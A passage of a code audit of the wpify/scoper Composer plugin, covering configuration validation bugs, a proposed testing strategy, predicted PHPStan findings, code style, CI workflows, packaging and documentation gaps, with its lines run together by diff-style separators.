`"0"` (!), `execute()` returns having done *nothing at all*. `composer install` exits `0`. The user sees no `deps/` folder and no explanation. This is the worst DX bug in the project — the failure mode is total silence. - -Note `! empty()` also rejects the literal string `"0"`, which is a (pathological but legal) namespace segment. - -* **Fix:** fail fast in `Configuration::fromExtra()`. -* **Severity: critical. Effort: S.** - -### 3.2 HIGH — no validation of anything - -`Plugin.php:65-88` reads six keys with `! empty()` and: - -* never validates that `prefix` is a legal PHP namespace — `"My-Namespace"` or `"123Foo"` or `"Foo\\Bar"` all pass through into `scoper.config.php` and produce broken generated PHP far downstream; -* silently ignores unknown keys — a typo in `composerjson` → `composer-json` is undetectable; -* silently ignores wrong types — `globals: "wordpress"` (string, not array) is dropped by the `is_array()` guard at `:82` with no warning, and the user gets the defaults; -* `autorun` is read in a completely different place (`Plugin.php:120`) directly off `$extra`, using `=== false` so `"false"` (string, a common JSON mistake) does not disable it; -* never validates that a name in `globals` corresponds to a `symbols/*.php` file — `globals: ["wordpres"]` silently produces an unscoped-symbol-free build that breaks at runtime in WordPress. - -### 3.3 MEDIUM — dead `no-dev` feature - -`SCOPER_INSTALL_NO_DEV_CMD` / `SCOPER_UPDATE_NO_DEV_CMD` (`Plugin.php:19,21`) are checked at `:160,163,186,193` but **nothing ever emits them**. `bin/wpify-scoper` maps only `install` and `update` (`bin/wpify-scoper:14-20`), and Composer never fires those event names. The `--no-dev` path added in commit `2c1360b` is unreachable. - -* **Fix:** add `--no-dev` flag parsing to `bin/wpify-scoper` (one `in_array( '--no-dev', $argv, true )` check), or delete the constants. Currently the README does not mention the feature either, so nobody has noticed. -* **Severity: medium. Effort: S.** - -### 3.4 HIGH — `exit;` with no message - -`Plugin.php:212-216`: - -```php -$config = require_once $config_path; -if ( ! is_array( $config ) ) { exit; } -``` - -Two problems. First, `exit` inside a Composer plugin terminates the *host* Composer process with status 0 and no output whatsoever — indistinguishable from success. Second, `require_once` returns `true` (not the array) on the second call in the same process, so if `createScoperConfig()` is ever invoked twice in one Composer run — which the `post-install` + `post-update` double-subscription in `getSubscribedEvents()` makes possible — the second call takes the `exit` branch. Use `require`, not `require_once`. - -* **Fix:** `require` + `throw new \RuntimeException(...)`. -* **Severity: high. Effort: S.** - -### 3.5 HIGH — empty `globals` fatals in the patcher - -If `globals` is `[]` (a legitimate config — "scope everything"), none of the `array_merge_recursive` branches at `Plugin.php:223-256` runs, so `exclude-classes` and `exclude-namespaces` are never set on `$config`. `config/scoper.inc.php:79` then does `usort( $config['exclude-classes'], … )` → *Undefined array key* warning followed by `usort(): Argument #1 must be of type array, null given` **inside a php-scoper patcher**, i.e. mid-scope, with a stack trace nobody can act on. - -* **Fix:** seed `$config['exclude-classes'] = []; $config['exclude-namespaces'] = [];` before the merges (one line in `ScoperConfigFactory::build()`), and defensively `?? []` at `scoper.inc.php:79,95`. -* **Severity: high. Effort: S.** - -### 3.6 Proposed fail-fast `Configuration` - -```php - */ public array $globals, - public bool $autorun, - ) {} - - /** - * @param array $extra Contents of extra.wpify-scoper - * @param list $availableGlobals basenames of symbols/*.php - * @throws ConfigurationException - */ - public static function fromExtra( array $extra, string $cwd, array $availableGlobals ): self { - if ( $unknown = array_diff( array_keys( $extra ), self::KNOWN_KEYS ) ) { - throw ConfigurationException::unknownKeys( $unknown, self::KNOWN_KEYS ); - } - - $prefix = $extra['prefix'] ?? null; - if ( ! is_string( $prefix ) || $prefix === '' ) { - throw ConfigurationException::missingPrefix(); - } - if ( ! preg_match( self::PREFIX_PATTERN, $prefix ) ) { - throw ConfigurationException::invalidPrefix( $prefix ); - } - - $globals = $extra['globals'] ?? [ 'wordpress', 'woocommerce', 'action-scheduler', 'wp-cli' ]; - if ( ! is_array( $globals ) ) { - throw ConfigurationException::wrongType( 'globals', 'array', get_debug_type( $globals ) ); - } - if ( $bad = array_diff( $globals, $availableGlobals ) ) { - throw ConfigurationException::unknownGlobals( $bad, $availableGlobals ); - } - - $composerJson = $extra['composerjson'] ?? 'composer-deps.json'; - $composerLock = $extra['composerlock'] ?? preg_replace( '/\.json$/', '.lock', $composerJson ); - - return new self( - prefix: $prefix, - folder: self::resolve( $cwd, $extra['folder'] ?? 'deps' ), - tempDir: self::resolve( $cwd, $extra['temp'] ?? 'tmp-' . bin2hex( random_bytes( 5 ) ) ), - composerJson: $composerJson, - composerLock: $composerLock, - globals: array_values( $globals ), - autorun: self::bool( $extra['autorun'] ?? true, 'autorun' ), - ); - } -} -``` - -The `PREFIX_PATTERN` deliberately allows `\`-separated multi-segment prefixes (php-scoper supports them) but rejects a leading `\`, trailing `\`, hyphens, and leading digits. - -**Diagnostic messages** — the payload of this whole section. Composer surfaces the exception message; make it actionable: - -``` -[wpify/scoper] Missing required configuration: extra.wpify-scoper.prefix - - The scoper needs a namespace to move your dependencies into. Add to composer.json: - - "extra": { - "wpify-scoper": { - "prefix": "MyPlugin\\Deps" - } - } - - See https://github.com/wpify/scoper#usage -``` - -``` -[wpify/scoper] Invalid namespace in extra.wpify-scoper.prefix: "My-Plugin Deps" - - A prefix must be a valid PHP namespace: letters, digits and underscores, - segments separated by "\\", not starting with a digit. - - Did you mean "My_Plugin\\Deps"? -``` - -``` -[wpify/scoper] Unknown key in extra.wpify-scoper: "composer-json" - - Did you mean "composerjson"? - Valid keys: prefix, folder, temp, globals, composerjson, composerlock, autorun -``` - -The "did you mean" is `levenshtein()`-based, ~6 lines, and is the difference between a five-minute and a two-hour debugging session. - -* **Severity: critical (covers 3.1) / high. Effort: M** (~150 lines + tests). - -### 3.7 Is a JSON schema for `extra.wpify-scoper` worth it? - -**Partially yes, but not as the validation mechanism.** - -* Composer does **not** validate `extra.*` against third-party schemas. `composer validate` checks Composer's own schema, and `extra` is `"type": "object"` with no constraints. So a JSON schema buys you **nothing at install time** — `Configuration::fromExtra()` remains the only real gate. Do not build the schema *instead of* the PHP validation. -* Where it *does* pay off is **editor autocomplete**. PhpStorm and VS Code both resolve `composer.json` against SchemaStore; a published schema fragment gives users inline completion and hover docs for `extra.wpify-scoper` while typing. That is a genuine DX win for a config whose keys are currently discoverable only by reading the README. -* **Recommendation:** ship `resources/wpify-scoper.schema.json` and submit it to SchemaStore *after* the PHP validation exists, and generate the "valid keys" list in error messages from the same source so they cannot drift. -* **Severity: low. Effort: S.** - ---- - -## 4. Testing strategy - -### 4.1 Current state - -Zero. No `tests/`, no `phpunit.xml`, no dev dependency on any test framework. `composer.json:36-44`'s `require-dev` is entirely WordPress/WooCommerce *sources* for symbol extraction, not tooling. Every one of the 65 tags was cut on manual verification. - -For a tool whose failure mode is "generates subtly broken PHP that fatals inside somebody else's WordPress site," this is the highest-leverage gap in the audit. - -### 4.2 Recommended tooling - -| Choice | Recommendation | Why | -|---|---|---| -| Framework | **PHPUnit 11.x** (`phpunit/phpunit: ^11.5`) | PHP 8.2+ native, attributes-based, `#[DataProvider]`. Pest would add a dependency layer for a 300-line codebase with no BDD audience. PHPUnit is what every Composer-plugin contributor already knows. | -| Fixture packages | hand-written `tests/fixtures/tiny-package/` | Do **not** pull real packages from Packagist in tests — network flakiness. | -| Golden files | plain `assertStringEqualsFile` + an `UPDATE_SNAPSHOTS=1` env guard | ~20 lines; `spatie/phpunit-snapshot-assertions` is fine too but adds a dep. | -| Process isolation | `symfony/process` (already transitively present via composer/composer) | For the integration tier. | - -### 4.3 What is untestable as written, and why - -| Location | Blocker | Minimal fix | -|---|---|---| -| `Plugin.php:57,58,66,87,134,135,141,151,177,178,275` — 11 `getcwd()` calls | Global process state. A test would have to `chdir()`, which is process-wide and breaks parallel tests. | Inject `string $cwd` into `Configuration::fromExtra()` and `ScoperConfigFactory`. **This is the single highest-value change** — it unlocks ~60 % of the file. | -| `Plugin.php:215` `exit;` | Kills the PHPUnit process. Cannot be asserted on without `@runInSeparateProcess` + `@preserveGlobalState disabled`, which is slow and fragile. | Throw. | -| `Plugin.php:292` `new Application()` | Hard-coded collaborator; running it would perform a real `composer install` with network access. | `ComposerRunner` interface (§2.1) + constructor injection with a default. | -| `Plugin.php:269` `strpos( dirname( __DIR__ ), 'vendor/wpify/scoper' )` | Depends on where the test runner's own file lives on disk. Untestable at all — the answer changes depending on the checkout path. | Inject the package root and vendor dir (§5.1). | -| `Plugin.php:212` `require_once $config_path` | Static include-once state — second call in the same process returns `true`. Test order becomes significant. | `require`, or better, `ScoperConfigFactory` takes the base config array as a constructor param. | -| `Plugin.php:58` `str_shuffle( md5( microtime() ) )` | Non-deterministic path in every assertion. | Inject the temp dir name (already configurable via `extra.temp` — just make the *default* injectable). | -| `scripts/extract-symbols.php:41` `static $parser` + top-level `extract_symbols()` calls at `:151-155` | The file is a script, not a library: requiring it *runs* the extraction against `sources/`. Global function names (`resolve`, `path`, `get_files`) also collide with anything else. | Wrap in a `SymbolExtractor` class under `src/`, keep `scripts/extract-symbols.php` as a 5-line CLI entry point. | -| `scripts/postinstall.php` | Entire file is top-level statements with `%%placeholder%%` literals — cannot be loaded, only string-substituted and shelled out. | Acceptable as-is; test it at the integration tier (§4.4b) by rendering + executing it against a fixture directory. | - -**Minimal refactor to make ~80 % testable: inject `$cwd`, inject `ComposerRunner`, replace `exit` with `throw`.** Three changes, maybe 40 lines of diff. Everything else is optional. - -### 4.4 The three test tiers - -**(a) Unit — pure logic. ~35 tests, no filesystem, milliseconds.** - -* `ConfigurationTest` — defaults; each override key; missing prefix throws; invalid prefix patterns (data provider: `""`, `"0"`, `"My-Ns"`, `"1Foo"`, `"\\Lead"`, `"Trail\\"`, `"A\\B"` ✅, `"Ünïcode"` ✅); unknown key throws with suggestion; `globals` non-array throws; `composerlock` derived from `composerjson`; `autorun` string `"false"` handling. -* `ScoperCommandTest` — data provider over all 6 cases × 3 accessors (`composerCommand`, `scriptHook`, `withDev`). 18 assertions, catches every regression in the §1.3(a) `match` tables. -* `PathTest` — `path()` joining, doubled-separator collapsing, Windows separator. (Or delete `path()` in favour of `Composer\Util\Filesystem` and test nothing.) -* `PostInstallTemplateTest` — render with a known map, assert exact output, assert no residual `%%`. -* `ScoperConfigFactoryTest` — `globals: []` produces `exclude-classes: []` not missing (regression test for §3.5); `globals: ['wordpress','woocommerce']` merges both without duplicates; merge is order-independent. - -**(b) Integration — real scoping of a tiny fixture. ~4 tests, ~30 s each.** - -``` -tests/fixtures/tiny-package/ - composer.json → requires nothing, or one vendored fixture package - vendor/acme/lib/src/Greeter.php → uses get_option() and a WP class -``` - -Test body: copy the fixture to a temp dir, run `Plugin::execute()` with a real `ComposerRunner` and `--no-network`/pre-vendored fixture, then assert on the output: - -* `deps/scoper-autoload.php` exists; -* `deps/acme/lib/src/Greeter.php` contains `namespace Test\Prefix\Acme\Lib;`; -* it still contains a bare `get_option(` — **not** `Test\Prefix\get_option(` (this is the whole product); -* `deps/composer/autoload_static.php` keys carry the lowercased prefix (`scripts/postinstall.php:41-45` regression); -* `scoper-autoload.php` has every `humbug_phpscoper_expose_*` commented out (`postinstall.php:51-52`); -* the `tmp-*` directory is gone afterwards. - -Mark these `#[Group('integration')]` and exclude from the default suite so `composer test` stays fast. - -**(c) Golden-file — symbol extraction. 4 tests, fast.** - -Check in `tests/fixtures/symbols-input/` containing ~6 hand-written PHP files that exercise every branch of `resolve()` (`scripts/extract-symbols.php:51-78`): namespaced file, class, trait, interface, function, `if ( ! class_exists() )`-wrapped class, and — critically — a `define()` **inside a function body** (the exact case commit `a59d577` just fixed). Assert the extractor output byte-matches `tests/fixtures/symbols-expected/output.php`. - -This tier is cheap and directly protects the last two bug-fix commits (`a59d577`, `af1b752`) from regressing. - -### 4.5 Sequencing and effort - -1. **Characterisation first.** Before touching `Plugin.php`, write tier (b) against the *current* code — even if it needs `chdir()` and `@runInSeparateProcess`. It is ugly, but it is the safety net for the §2 refactor. **Effort: M (1 day).** -2. Refactor per §2.1 + §4.3 minimal fixes. **Effort: M (1–2 days).** -3. Tier (a) unit tests. **Effort: M (1 day, ~400 lines).** -4. Tier (c) golden files. **Effort: S (2 hours).** -5. Clean up tier (b) now that injection exists. **Effort: S.** - -**Total: ~4–5 focused days to go from 0 % to meaningful coverage.** Realistic target: 85 %+ line coverage on `src/`, with the process-invocation seam mocked. - -* **Severity: high. Effort: L.** - ---- - -## 5. Static analysis & code style - -### 5.1 PHPStan - -Not installed (`vendor/bin` contains no analyser). I could not run it without modifying `composer.json`, which is outside this audit's write scope — so the following is derived from reading the code, and should be confirmed by an actual run. - -**Recommended starting point: level 5, with a baseline, then ratchet.** - -Rationale: level 0–4 on untyped PHP 5-style code will report almost nothing useful (no types to check). Level 5 turns on argument-type checking, which is where the real bugs are. Level 6 (`missingType.iterableValue`) would drown you in ~30 "no value type specified in iterable type array" errors on day one — worth reaching, not worth starting at. Level 8 (null-safety) is the eventual target and is realistic *after* the §2 refactor, because `readonly` typed properties give PHPStan everything it needs. - -**What level 5 would flag today (predicted, high confidence):** - -| Location | Predicted error | -|---|---| -| `Plugin.php:23,24` | `Property Plugin::$composer has no type specified.` (level 6 for the `@var`-only ones too) | -| `Plugin.php:110` | `Method Plugin::path() has parameter $parts with no value type specified in iterable type array.` | -| `Plugin.php:110,116,44,51,98,101,104` | `Method … has no return type specified.` | -| `Plugin.php:135` | `Parameter #1 $json of function json_decode expects string, string\|false given.` — `file_get_contents()` can return `false`. **Real bug**, not noise. | -| `Plugin.php:148` | Same: `file_get_contents()` → `string\|false` passed to `str_replace`. | -| `Plugin.php:144,145` | `Cannot access property $scripts on stdClass\|array\|bool\|float\|int\|string\|null` — `json_decode(..., false)` returns `mixed`. **Real bug**: a malformed `composer-deps.json` produces `null`, then `$composerJson->scripts` on null. | -| `Plugin.php:167` | `realpath()` returns `string\|false`; concatenated into a command string at `:170` unchecked. **Real bug** — if `vendor/wpify/php-scoper/bin/php-scoper.phar` is missing, the generated script becomes ` add-prefix --output-dir=…` and fails cryptically. | -| `Plugin.php:212-218` | `$config` is `mixed` from `require`; `$config['prefix'] = …` on mixed. | -| `Plugin.php:223,230,237,244,251` | `in_array()` called without `$strict` — level 5 `argument.type` won't catch it but `phpstan-strict-rules` will. Worth adding. | -| `Plugin.php:269-271` | `strpos()` returns `int\|false`; the code checks `is_int()` which PHPStan understands — this one is fine, just unusual. | -| `Plugin.php:280` | `mkdir()` return value ignored — a permission failure is silent. | -| `scripts/extract-symbols.php:53` | `$node->name` on `Namespace_` is `?Name` — `->getParts()` on possibly-null. **Real bug** for a file with `namespace { }` (unbraced global namespace block). | -| `scripts/extract-symbols.php:113` | `parse()` returns `?array` — `foreach ( $ast as … )` on possibly-null; `$traverser->traverse( $ast )` requires non-null. **Real bug** on an unparseable file that returns null rather than throwing. | -| `scripts/postinstall.php:40,50` | `file_get_contents()` → `string\|false` into `preg_replace`. | -| `config/scoper.inc.php:79,95` | `$config['exclude-classes']` — offset may not exist (§3.5). **Real bug.** | - -That is **six genuine bugs** predicted from static analysis alone, all of which are silent-corruption or cryptic-failure classes. Strong argument for adopting it. - -**Config to start with:** - -```neon -# phpstan.neon -parameters: - level: 5 - paths: - - src - - scripts - - config - excludePaths: - - symbols/* # 300KB of generated var_export arrays — nothing to analyse - treatPhpDocTypesAsCertain: false -``` - -Add `phpstan/phpstan: ^2.1` and `phpstan/extension-installer` to `require-dev`. **Do not** generate a baseline on the first run — with only ~25 errors it is cheaper to fix them all than to carry a baseline. Reach level 6 in the same PR as the typed-property migration (§1.3b), level 8 after. - -* **Severity: medium (the tooling) / high (the six bugs it finds). Effort: M.** - -**Psalm:** skip. One analyser is enough for 300 lines, and PHPStan's Composer-plugin ecosystem is better. - -### 5.2 Code style — PSR-12 vs. WPCS - -The codebase uses WordPress Coding Standards spacing (`function foo( $bar ) {`, tabs, Yoda-ish comparisons) — see `Plugin.php` throughout, `config/scoper.inc.php`, `scripts/*.php`. That is unusual for a Composer plugin, whose contributors and reviewers come from the PSR world, and whose entire dependency surface (`composer/composer`, `symfony/console`) is PSR-12. - -**Honest assessment of the trade-off:** - -| | Keep WPCS | Migrate to PSR-12 | -|---|---|---| -| Churn | zero | ~100 % of every PHP line reformatted; `git blame` on `src/Plugin.php` becomes useless without `--ignore-rev` | -| Contributor familiarity | matches the WordPress audience the tool serves | matches the Composer-plugin audience actually reading `Plugin.php` | -| Tooling | `squizlabs/php_codesniffer` + `wp-coding-standards/wpcs` (heavier, WPCS 3.x needs `phpcsutils`) | `friendsofphp/php-cs-fixer` — single dep, `@PSR12` + `@PHP82Migration` rulesets, and the `@PHP82Migration` set does the `array()` → `[]` conversion for free | -| Consistency with the product | the *scoped output* is other people's code — style is irrelevant there | — | - -**Recommendation: migrate to PSR-12, but do it as one isolated commit with no logic changes**, and add the SHA to `.git-blame-ignore-revs`. The deciding factor is that `@PHP82Migration` in PHP-CS-Fixer mechanically performs several of the §1.3(d) modernisations, so the "churn" commit and the "modernise" commit are the same commit — you pay the blame cost once and get the array-syntax migration free. - -If the maintainer feels strongly about WPCS, **the acceptable alternative is to keep WPCS and just add a `.editorconfig` + `phpcs.xml.dist`** — an enforced inconsistent style beats an unenforced consistent one. What is *not* acceptable is the status quo of no config at all, where the style is a convention held only in the maintainer's head. - -```ini -# .editorconfig (do this regardless of the PSR-12 decision) -root = true - -[*] -charset = utf-8 -end_of_line = lf -insert_final_newline = true -trim_trailing_whitespace = true - -[*.php] -indent_style = tab -indent_size = 4 - -[*.{json,yml,yaml,neon}] -indent_style = space -indent_size = 2 - -[symbols/*.php] -# generated by scripts/extract-symbols.php — do not reformat -trim_trailing_whitespace = false -``` - -Note the `symbols/*.php` carve-out: those files are `var_export()` output and **must** be excluded from any fixer, or every regeneration produces a 300 KB diff fight between the generator and the formatter. - -* **Severity: medium. Effort: M** (S for `.editorconfig` alone). - ---- - -## 6. CI/CD, releasing and versioning - -### 6.1 Current state - -No `.github/workflows/`, no `.gitlab-ci.yml`. The README documents CI **for consumers** (§Deployment) but the project itself has none. Nothing runs on push. `composer validate` has never been enforced — and it would currently warn, because `composer.lock` is absent from the repo while `require-dev` is populated. - -### 6.2 Proposed `.github/workflows/ci.yml` - -```yaml -name: CI -on: - push: { branches: [ master ] } - pull_request: - -jobs: - validate: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - uses: shivammathur/setup-php@v2 - with: { php-version: '8.4', coverage: none } - - run: composer validate --strict - - run: composer install --no-interaction --prefer-dist - - run: vendor/bin/phpstan analyse --no-progress - - run: vendor/bin/php-cs-fixer check --diff - - test: - runs-on: ubuntu-latest - strategy: - fail-fast: false - matrix: - php: [ '8.2', '8.3', '8.4', '8.5' ] - composer: [ 'lowest', 'highest' ] - steps: - - uses: actions/checkout@v4 - - uses: shivammathur/setup-php@v2 - with: { php-version: '${{ matrix.php }}', coverage: none } - - uses: ramsey/composer-install@v3 - with: { dependency-versions: '${{ matrix.composer }}' } - - run: vendor/bin/phpunit --testsuite unit - - run: vendor/bin/phpunit --testsuite integration -``` - -Matrix rationale: **8.2 / 8.3 / 8.4 / 8.5** — exactly the php-scoper-supported ∩ php.net-supported window from §1.1. Drop `8.2` from the matrix on 2027-01-01 and bump the constraint in the same PR. The `lowest`/`highest` axis matters here because `composer/composer: ^2.6` spans a wide API surface and the plugin touches `Composer\Console\Application` directly. - -Add a `composer-plugin` smoke job that actually installs the plugin into a scratch project — this is the only way to catch "the plugin errors during `activate()`" class of bug, which no unit test reaches: - -```yaml - smoke: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - uses: shivammathur/setup-php@v2 - with: { php-version: '8.4' } - - name: Install into a scratch project - run: | - mkdir -p /tmp/scratch && cd /tmp/scratch - composer init --no-interaction --name=test/scratch - composer config repositories.local path "$GITHUB_WORKSPACE" - composer config --no-plugins allow-plugins.wpify/scoper true - composer config extra.wpify-scoper.prefix 'Test\Deps' - echo '{"require":{"psr/log":"^3.0"}}' > composer-deps.json - composer require wpify/scoper:@dev --no-interaction - test -f deps/scoper-autoload.php - grep -q 'namespace Test\\\\Deps' deps/psr/log/src/LoggerInterface.php -``` - -### 6.3 Scheduled symbol regeneration - -The value proposition of this package is "an up-to-date database of WordPress and WooCommerce symbols" (README:11). Today that database is updated whenever a human remembers — the git log shows ad-hoc "add new symbols" / "Update symbols" commits (`b00d523`, `4abe3a6`). A WordPress release that adds a function ships broken scoping for every user until someone notices. - -```yaml -name: Refresh symbols -on: - schedule: [ { cron: '0 4 * * 1' } ] # Mondays 04:00 UTC - workflow_dispatch: - -jobs: - refresh: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - uses: shivammathur/setup-php@v2 - with: { php-version: '8.4' } - - run: composer update --no-interaction # pulls latest WP / WC / AS / WP-CLI - - run: composer run extract - - name: Report symbol delta - run: | - git diff --stat symbols/ - php -r '$o=require "symbols/wordpress.php"; foreach($o as $k=>$v) printf("%s: %d\n",$k,count($v));' - - uses: peter-evans/create-pull-request@v7 - with: - branch: chore/refresh-symbols - title: 'chore: refresh WordPress/WooCommerce symbol lists' - commit-message: 'chore: refresh symbol lists' - labels: symbols -``` - -Two guards worth adding to that job: - -* **fail if the symbol count *drops* by more than ~1 %** — a parse failure in `extract-symbols.php` currently just `echo`es (`extract-symbols.php:131`) and continues, silently producing a truncated list. A truncated WordPress list means WP functions get scoped, which breaks consumers at runtime in the worst possible way. This is the single most valuable CI guard in the whole proposal. -* open a PR rather than pushing to `master`, so a human eyeballs the diff. - -* **Severity: high. Effort: M.** - -### 6.4 Versioning & release practice - -* **65 tags**, well-formed SemVer, no `v` prefix, consistently applied. Good. -* **No CHANGELOG.md.** For a tool whose upgrades can silently change generated output, this is a real gap — a consumer upgrading `3.2.15` → `3.2.21` has to read 6 commit messages, several of which are `add new symbols` / `Upgrade`. - * **Fix:** adopt Keep-a-Changelog, and enable GitHub's auto-generated release notes as a stopgap (zero effort, immediately better than nothing). - * **Severity: medium. Effort: S.** -* **Commit message hygiene is inconsistent** — `fix: extract constants defined inside function bodies` (Conventional) sits next to `Upgrade`, `Fix twig`, `postinstall update`. Adopting Conventional Commits would let `release-please` or `git-cliff` generate the changelog automatically, which is the only way a changelog survives long-term on a one-maintainer project. - * **Severity: low. Effort: S.** -* **The `3.2.x` line has absorbed 21 patch releases**, several of which changed generated output (`af1b752 fix exposed classes and function`, `a59d577 fix: extract constants defined inside function bodies`). Changing what bytes land in a consumer's `deps/` is arguably a minor, not a patch. Not worth re-litigating history, but worth a stated policy going forward. -* **README "Requirements" (README:13-18) is stale** — it stops at `3.2` and says "PHP >= 8.1", which is both out of date (§1.2) and unhelpful now that `3.2` has 21 patch releases. Replace the per-version table with a single line: *"Requires PHP 8.2+. See CHANGELOG.md for per-release notes."* The README's own example also pins `"platform": {"php": "8.0.30"}` (README:39) — contradicting its own requirements section two screens earlier. - * **Severity: medium. Effort: S.** - ---- - -## 7. Packaging hygiene - -### 7.1 What actually ships — correcting the premise - -`git ls-files` returns **14 files**. `sources/` (163 MB) and `vendor/` are git-ignored (`.gitignore:3-4`) and therefore are not in the repository at all, let alone in the dist archive. The tarball is small today. - -Of the 14 tracked files, almost everything is **required at runtime**: - -| Path | Ships? | Needed at runtime? | -|---|---|---| -| `src/Plugin.php` | yes | yes | -| `bin/wpify-scoper` | yes | yes (`composer.json:17-19`) | -| `config/scoper.inc.php`, `config/scoper.config.php` | yes | yes — copied to temp (`Plugin.php:262`) | -| `symbols/*.php` (308 KB) | yes | **yes** — `require`d at `Plugin.php:226,233,240,247,254` | -| `scripts/postinstall.php` | yes | **yes** — read at `Plugin.php:148` | -| `scripts/extract-symbols.php` (4.9 KB) | yes | **no** — dev-only | -| `README.md` | yes | no | -| `docs/` (this file) | will ship once committed | no | - -So the `.gitattributes` gap is worth roughly **10 KB**, not the megabytes one might assume. It is still worth adding — mostly so that `docs/` does not grow into the payload over time, and to signal intent: - -```gitattributes -# .gitattributes -/.github export-ignore -/.gitattributes export-ignore -/.gitignore export-ignore -/.editorconfig export-ignore -/docs export-ignore -/tests export-ignore -/phpunit.xml.dist export-ignore -/phpstan.neon export-ignore -/.php-cs-fixer.dist.php export-ignore -/scripts/extract-symbols.php export-ignore - -# never let a formatter or diff tool touch generated symbol tables -/symbols/*.php -diff linguist-generated=true -``` - -Note `scripts/` as a whole must **not** be export-ignored — `postinstall.php` lives there and is loaded at runtime. Only the extractor is excludable. Alternatively move `postinstall.php` to `resources/` and export-ignore all of `scripts/`, which is cleaner but a breaking internal path change. - -The `linguist-generated` marker also collapses `symbols/` in GitHub PR diffs, which makes the §6.3 symbol-refresh PRs actually reviewable. - -* **Severity: low. Effort: S.** - -### 7.2 `composer.lock` in `.gitignore` — correct, with a caveat - -`.gitignore:5` ignores `/composer.lock`. For a **library**, that is the conventional and correct choice: consumers resolve against their own constraints, and a committed lock would be dead weight. - -The caveat specific to *this* project: `require-dev` (`composer.json:36-43`) is not test tooling, it is the **input data** for symbol extraction (`johnpbloch/wordpress: *`, `wpackagist-plugin/woocommerce: *`, all unconstrained `*`). Without a lock, `composer run extract` produces a different result on every machine and every day, and there is no record of *which* WordPress version a given `symbols/wordpress.php` was generated from. - -* **Recommendation:** keep `composer.lock` ignored (correct for a library), but **record the provenance** — have `scripts/extract-symbols.php` write a header comment into each generated file: - ```php - "Repositories are only available to the root package and the repositories defined in your dependencies will not be loaded." - -And per the schema docs, `require-dev`, `repositories`, `config`, `minimum-stability` and `scripts` are all root-only: they "are ignored when the package is installed as a dependency of another project." - -Concrete consequences for `wpify/scoper` as a dependency: - -| Key in the published `composer.json` | Effect on a consumer | -|---|---| -| `repositories: [ wpackagist.org ]` (`:24-29`) | **none** — not loaded | -| `require-dev: { johnpbloch/wordpress, wpackagist-plugin/woocommerce, … }` (`:36-44`) | **none** — never installed | -| `minimum-stability: stable` (`:23`) | **none** | -| `config.allow-plugins` (`:60-65`) | **none** — the consumer must set `allow-plugins.wpify/scoper` themselves, which the README correctly documents (README:100, 132) | -| `scripts.extract` (`:20-22`) | **none** — dependency scripts are not run | -| `extra.wordpress-install-dir`, `extra.installer-paths`, `extra.textdomain` (`:47-58`) | **none** for resolution; `extra` *is* readable by other plugins, but `composer/installers` and `johnpbloch/wordpress-core-installer` only act on the root package's `extra` | -| `extra.class` (`:46`) | **this one does apply** — it is how Composer finds the plugin entry point. Correct and required. | -| `require: { php, composer-plugin-api, composer/composer, wpify/php-scoper }` (`:30-35`) | **applies** — this is the only section that constrains consumers, hence §1.2 | - -So the only real issue in this whole section is the `^8.1` lie. The dev-requirement noise is harmless — but it *is* confusing to read, and a one-line comment or a note in CONTRIBUTING explaining "these are symbol-extraction sources, not test tooling" would save the next contributor a puzzled ten minutes. - -One genuine oddity worth flagging: **`extra.textdomain: { "wpify-custom-fields": "some-new-textdomain" }` (`composer.json:56-58`) appears to be leftover debris** — nothing in this repository reads it, and `wpify-custom-fields` is a different package. It is inert, but it ships to every consumer and looks like a copy-paste accident. - -* **Severity: low. Effort: S** (delete it). - ---- - -## 8. Documentation - -### 8.1 Gaps in the current README - -| Gap | Impact | -|---|---| -| **No failure documentation.** What does the user see when scoping fails? Today: often nothing at all (§3.1), or a `usort()` TypeError from inside a php-scoper patcher (§3.5), or a silent `exit` (§3.4). The README never sets expectations. | high | -| **No troubleshooting section.** The most common real-world problems — a dependency that needs a custom patcher, a WP function getting scoped anyway, `allow-plugins` not set, the `tmp-*` folder left behind — are undocumented. | high | -| **`scoper.custom.php` discovery is undocumented and subtly broken.** README:150 says "in root of your project", but `Plugin::createPath( [ 'scoper.custom.php' ], true )` (`Plugin.php:204,268-276`) resolves to the project root **only if `dirname(__DIR__)` contains the literal substring `vendor/wpify/scoper`**. It therefore silently falls back to the *package's own* directory when: the consumer has renamed `vendor-dir` in `config` (fully supported by Composer); the plugin is installed globally *and* invoked in a project (the global path is `~/.composer/vendor/wpify/scoper`, so this case happens to work); or the plugin is symlinked in via a `path` repository during development. In every failing case the user's `scoper.custom.php` is **silently ignored** with no diagnostic. | high | -| **No guidance on committing `deps/` and `composer-deps.lock`.** This is the #1 question for anyone deploying a WordPress plugin. The README's CI examples imply `deps/` is a build artifact (README:95, 142) but never says so, and `composer-deps.lock` is never mentioned at all despite being written to the project root (`postinstall.php:57-58`). | high | -| **No upgrade guide.** With 65 tags and no changelog, upgrading is a leap of faith. | medium | -| **No CONTRIBUTING.** How to regenerate symbols, what `sources/` is for, why `require-dev` contains WordPress. | medium | -| **README:39 pins `"php": "8.0.30"`** in the `config.platform` example while README:18 says "PHP >= 8.1". Directly contradictory. | medium | -| **`--no-dev` is undocumented** because it is unreachable (§3.3). | low | - -### 8.2 The `scoper.custom.php` fix - -Document *and* fix. The fix is small and removes the string-matching entirely: - -```php -// in activate(), where $composer is available: -$this->projectRoot = dirname( Factory::getComposerFile() ); -// or, robustly, for the vendor location: -$vendorDir = $composer->getConfig()->get( 'vendor-dir' ); -``` - -Then `createPath( [ 'scoper.custom.php' ], true )` becomes `$this->projectRoot . '/scoper.custom.php'` unconditionally — correct in every installation topology, and testable (§4.3). Additionally, **log when a custom file is found**, via the injected `IOInterface` (which is stored at `Plugin.php:53` and then *never used* — the plugin produces no output whatsoever): - -```php -if ( file_exists( $custom_path ) ) { - $this->io->write( sprintf( 'wpify/scoper: applying customizations from %s', $custom_path ) ); - copy( ... ); -} -``` - -That `$this->io` is captured and unused is itself a finding: **the plugin is entirely silent**, which is why every failure mode in this report presents as "nothing happened." - -* **Severity: high. Effort: S.** - -### 8.3 Proposed documentation structure - -``` -README.md ← keep short: what it does, install, minimal config, link out -docs/ - configuration.md ← every extra.wpify-scoper key: type, default, example, failure mode - customization.md ← scoper.custom.php: discovery rules, function signature, worked examples - (move the Guzzle patcher example here from README:154-170) - deployment.md ← GitLab CI + GitHub Actions (move from README:83-144) - + the "commit deps/ or build it?" decision, both branches explained - troubleshooting.md ← symptom → cause → fix table (see 